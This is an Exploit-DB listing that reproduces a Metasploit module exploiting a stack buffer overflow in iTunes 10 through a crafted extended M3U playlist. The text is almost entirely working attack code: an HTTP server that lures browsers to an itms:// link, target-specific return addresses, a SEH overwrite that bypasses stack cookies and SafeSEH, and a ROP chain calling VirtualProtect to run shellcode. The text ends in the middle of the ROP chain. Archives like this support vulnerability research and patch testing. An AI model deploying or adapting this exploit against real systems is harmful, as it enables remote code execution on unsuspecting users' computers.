Exploit-DB #19387
Description: Apple iTunes 10 - Extended M3U Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-06-25
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple iTunes 10 Extended M3U Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in iTunes 10.4.0.80 to 10.6.1.7.
				When opening an extended .m3u file containing an "#EXTINF:" tag description,
				iTunes will copy the content after "#EXTINF:" without appropriate checking
				from a heap buffer to a stack buffer, writing beyond the stack buffer's boundary,
				which allows code execution under the context of the user.

				Please note before using this exploit, you must have precise knowledge of the
				victim machine's QuickTime version (if installed), and then select your target
				accordingly.

				In addition, even though this exploit can be used as remote, you should be aware
				the victim's browser behavior when opening an itms link.  For example,
				IE/Firefox/Opera by default will ask the user for permission before launching the
				itms link by iTunes.  Chrome will ask for permission, but also spits a warning.
				Safari would be an ideal target, because it will open the link without any
				user interaction.
			},
			'Author'         =>
				[
					'Rh0 <rh0[at]z1p.biz>',  # discovery and metasploit module
					'sinn3r'                 #Mo' targets & code cleanup, etc
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => ['win'],
			'Arch'           => ARCH_X86,
			'Payload'        =>
				{
					'Space'          => 1000,
					'BadChars'       => "\x00\x0a\x0d",
					'DisableNops'    => true,
					'PrependEncoder' => "\x81\xc4\xfc\xfb\xff\xff" # ADD ESP, -0x404
				},
			'References'     =>
				[
					[ 'EDB', '19322' ]
				],
			'DisclosureDate' => "Jun 21 2012",
			'Targets'        =>
				[
					# Default package for iTunesSetup104.exe
					['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.69 on XP SP3',
						{
							'Ret'     => 0x669C197B, # ADD ESP,0xD40 / ret [QuickTime.qts]
							'ROP_NOP' => 0x66801044  # RET
						}
					],
					# Default package for iTunesSetup1041.exe
					[ 'iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.70 on XP SP3',
						{
							'Ret'     => 0x6693A96B, # ADD ESP,0xD40 / ret [QuickTime.qts]
							'ROP_NOP' => 0x66801044  # RET
						}
					],
					[ 'iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.71 on XP SP3',
						{
							'Ret'     => 0x6693ACBB, # ADD ESP,0xD40 / ret [QuickTime.qts]
							'ROP_NOP' => 0x66801044  # RET
						}
					],
					['iTunes 10.4.0.80 to 10.6.1.7 with QuickTime 7.72 on XP SP3',
						{
							'Ret'     => 0x6693afab, # ADD ESP,0xD40 / ret [QuickTime.qts]
							'ROP_NOP' => 0x66801044  # RET
						}
					]
				]
		))
	end


	def on_request_uri(cli,request)
		# re-generate the payload
		return if ((p = regenerate_payload(cli).encoded) == nil)

		host = request.headers['HOST']
		agent = request.headers['USER-AGENT']

		# iTunes browser link
		m3u_location = "itms://#{host}#{get_resource()}/#{rand_text_alphanumeric(8+rand(8))}.m3u"

		if request.uri =~ /\.ico$/i
			# Discard requests for ico files
			send_not_found(cli)
		elsif request.uri =~ /\.m3u$/i
			print_status("Target: #{target.name}")
			print_status("Sending playlist")
			send_response(cli, generate_m3u(p), { 'Content-Type' => 'audio/x-mpegurl' })
		elsif agent =~ /MSIE (6|7|8)\.0/ and agent =~ /NT 5\.1/
			print_status("Redirecting to playlist")
			send_response(cli, generate_redirect_ie(m3u_location), { 'Content-Type' => 'text/html' })
		elsif agent =~ /NT 5\.1/
			# redirect Firefox, Chrome, Opera, Safari to iTunes link
			print_status("Redirecting to playlist")
			send_redirect(cli, m3u_location)
		else
			print_status("Unknown User-Agent: #{agent}")
			send_not_found(cli)
		end
	end


	# IE did not proper redirect when retrieving an itms:// location redirect via a HTTP header...
	# ... so use html
	def generate_redirect_ie(m3u_location)
		ie_redir = <<-HTML_REDIR
			<!DOCTYPE HTML>
			<html>
			<head>
			<meta http-equiv="refresh" content="0; URL=#{m3u_location}">
			</head>
			</html>
		HTML_REDIR

		ie_redir = ie_redir.gsub(/^\t\t\t/, '')

		return ie_redir
	end


	def generate_m3u(payload)
		# Bypass stack cookies by triggering a SEH exception before
		# the cookie gets checked. SafeSEH is bypassed by using a non
		# safeSEH DLL [QuickTime.qts].

		# stack buffer overflow ->
		# overwrite SEH handler ->
		# trigger SEH exception ->
		# rewind stack (ADD ESP, ...) and land in ROP NOP sled	->
		# virtualprotect and execute shellcode

		m3u = '#EXTINF:,'

		# stack layout depends on what iTunes is doing (running or not, playing music etc.) ...
		# ... so ensure we overwrite a SEH handler to get back to our rop chain
		m3u << [target.ret].pack("V") * 0x6a       # stack pivot/rewind
		m3u << [target['ROP_NOP']].pack("V") * 30  # ROP NOP sled
		m3u << gimme_rop
		m3u << payload

		# 0x1000 should be enough to overflow the stack and trigger SEH
		m3u << rand_text_alphanumeric(0x1000 - m3u.length)

		return m3u

	end


	def gimme_rop
		# thanx to mona.py :)
		rop_chain = [
			:popad,
			# registers
			0x66801044,  # EDI: RET
			0x7c801ad4,  # ESI: VirtualProtect [kernel32.dll]
			:jmpesp,
			junk,
			:ebx,        # EBX: Becomes 0x3e8
			0xffffffd6,  # EDX: Becomes 0x40
			0x673650b0,  # ECX: lpflOldProtect
			0x90909090,  #EAX
			# correct dwSize and flNewProtect
			:modebx,
			:added